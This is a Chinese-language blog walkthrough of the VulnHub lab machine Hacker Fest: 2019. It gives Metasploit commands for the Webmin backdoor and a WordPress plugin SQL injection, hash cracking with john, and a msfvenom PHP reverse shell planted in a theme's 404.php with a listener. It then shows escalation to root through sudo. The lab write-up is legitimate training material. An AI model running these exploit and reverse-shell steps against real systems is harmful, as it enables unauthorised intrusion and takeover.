『VulnHub系列』Hacker Fest: 2019-Walkthrough

靶机地址
难度:初级+1
靶机描述:

The machine was part of my workshop for Hacker Fest 2019 at Prague.
Difficulty level of this VM is very “very easy”. There are two paths for exploit it.
There are no intentional rabbit holes.
Through a vulnerable “[retracted]”. Exploit is part of MSF.
Through vulnerable “[retracted]”.
Can be found by “[retracted]”.
There is a “[retracted]” injection (exploit is part of MSF).
Recovered credentials (username + hash) can be cracked by John and rockyou.txt wordlist.
Low priv shell can be gained through MSF exploit or trying the credentials against “[retracted]”.
Priv. esc. is simply done by “[retracted]”.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
wpscan
john
metaspaloit
msfvenom
webmin_backdoor漏洞
wp_google_maps_sqli漏洞

0x00、信息收集

靶机IP:192.168.0.110

netdiscover -r 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.110

在这里插入图片描述在这里插入图片描述

页面、目录枚举

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在这里插入图片描述在这里插入图片描述
匿名登录访问ftp,发现一堆wordpress的源代码,这个靶机应该是不可能进行代码审计的,这个ftp的匿名用户访问应该是个烟雾弹。前面nmap扫描的时候发现有webmin,版本是1.890

0x01、第一种方式:Webmin

根据靶机描述里面的提示,使用MSF(metasploit framework)搜索Webmin

msfconsole
search webmin

Rank为excellent的exploit有以下四个:

  • exploit/linux/http/webmin_packageup_rce
  • exploit/unix/webapp/webmin_backdoor
  • exploit/unix/webapp/webmin_show_cgi_exec
  • exploit/unix/webapp/webmin_upload_exec

webmin_packageup_rce的设置参数必须提供Webmin的账户密码,排除使用该exp。
webmin_backdoor的设置参数对于这个靶机而言我们只需要设置靶机IP和攻击机IP,于是选择使用它。结果第一次失败了,原因是该靶机的Webmin使用了SSL,而exploit中对应的默认参数是没有启用SSL/TSL的,需要我们重新设置。

nmap扫描的结果中已经提示该靶机的Webmin启用了SSL

在这里插入图片描述

msfconsole
use exploit/unix/webapp/webmin_backdoor
show options
set rhosts 192.168.0.110
set lhost 192.168.0.108
set ssl true
exploit # 或者run

在这里插入图片描述

0x02、第二种方式:WordPress

使用wpscan扫描网站

扫描的时候提示我没有WPVulnDB API Token,一时之间有点懵,wpscan用了也不是一次两次了,之前从来没有出现过这种提示。根据提示到https://wpvulndb.com/users/sign_up注册一个账号。
在这里插入图片描述

注册账号的过程中需要进行人机验证,所以你懂的……请备好Tizi

在这里插入图片描述

得到WPVulnDB API Token后就可以愉快的使用wpscan了,使用方式只是多了一个参数--api-token的设置

wpscan --url http://192.168.0.110 -e vp,vt,u --api-token APIKEY

需要把上面的APIKEY换成你自己api key

在这里插入图片描述

使用MSF搜索漏洞利用方式,找到auxiliary/admin/http/wp_google_maps_sqli

msfconsole
search wp_google_maps
use auxiliary/admin/http/wp_google_maps_sqli
show options
set rhosts 192.168.0.110
run

在这里插入图片描述

使用john爆破$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1,字典使用rockyou.txt

关于破解工具和字典的选择,靶机描述里已经给过提示了。rockyou.txtkali自带的密码字典,如果是初次使用,则需要先到/usr/share/wordlist目录将rockyou.txt.gz解压

在这里插入图片描述

如果你也用echo将hash值保存到文件中,需要注意的是别用双引号。因为echo会将$开头的字符串当作变量去执行,而变量又没有赋值,那么写入到文件后就没有内容了。

getshell方式一:theme页面反弹shell代码

使用webmaster/kittykat1登录管理后台
在这里插入图片描述

进入后台之后有点懵圈,因为语言是捷克语,突然找不到theme在哪了……然而机智的我发现了下面的套路
在这里插入图片描述
在404.php页面中写入反弹shell的代码

第一步,使用ifconfig命令查看kali的IP:192.168.0.110

第二步,msfvenom生成webshell代码,并保存到主题中的php文件中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R

在这里插入图片描述

!!!注意:使用时需要去掉最开头的两个字符/*,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell. 如下图所示:

在这里插入图片描述
在这里插入图片描述

第四步,做好msfconsole接收shell的准备

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

第五步,访问含有反弹shell代码的php页面http://192.168.0.110/wp-content/themes/twentyseventeen/404.php

某个theme下的php页面的url组成一般为http://ip地址/wp-content/主题名称全小写字母/php页面。例如,我这里的theme名称为Twenty Seventeen,对应到url上就是twentyseventeen

在这里插入图片描述

下面我先给出第二种getshell的方式,之后再给出提权的过程。

getshell方式二:使用MSF

msfconsole
grep shell search wordpress
use exploit/unix/webapp/wp_admin_shell_upload
show options
set password kittykat1
set username webmaster
set rhosts 192.168.0.110
run

在这里插入图片描述

0x03、提权

之前我们获得了WordPress后台的webmaster账户密码,所以尝试使用这个账户密码登录一下SSH,没准系统里面就有这么个用户呢?

cat /etc/passwd | grep webmaster

执行上述命令后,发现确实存在系统用户webmaster

尝试SSH登录

如果你遇到下面的问题,只需要根据红框中的提示把对应的key删除即可,我是直接把文件中的所有内容清空了。

在这里插入图片描述

查看当前用户能够执行的sudo权限的命令,发现是ALL,立马使用sudo su root,切换到root账户

sudo命令可以执行一次root权限的命令,但有两个条件:一是需要知道当前用户的密码;二是/etc/sudoers文件中允许了当前用户使用sudo命令。

在这里插入图片描述
或者,使用sudo bash
在这里插入图片描述

0x04、后记

在查找SUID权限命令的过程中发现了/usr/sbin/exim4,查了一下版本是4.89
在这里插入图片描述

关于exim4,在4.87-4.91版本有一个本地提权漏洞,MSF中相应的exploit,然后尝试利用了一下,结果没能成功,可能的原因是靶机没有开启25端口。
在这里插入图片描述
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。如果您觉得这篇博客写的还不错,也欢迎分享给身边的人。

发布了41 篇原创文章 · 获赞 14 · 访问量 7927

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/102493971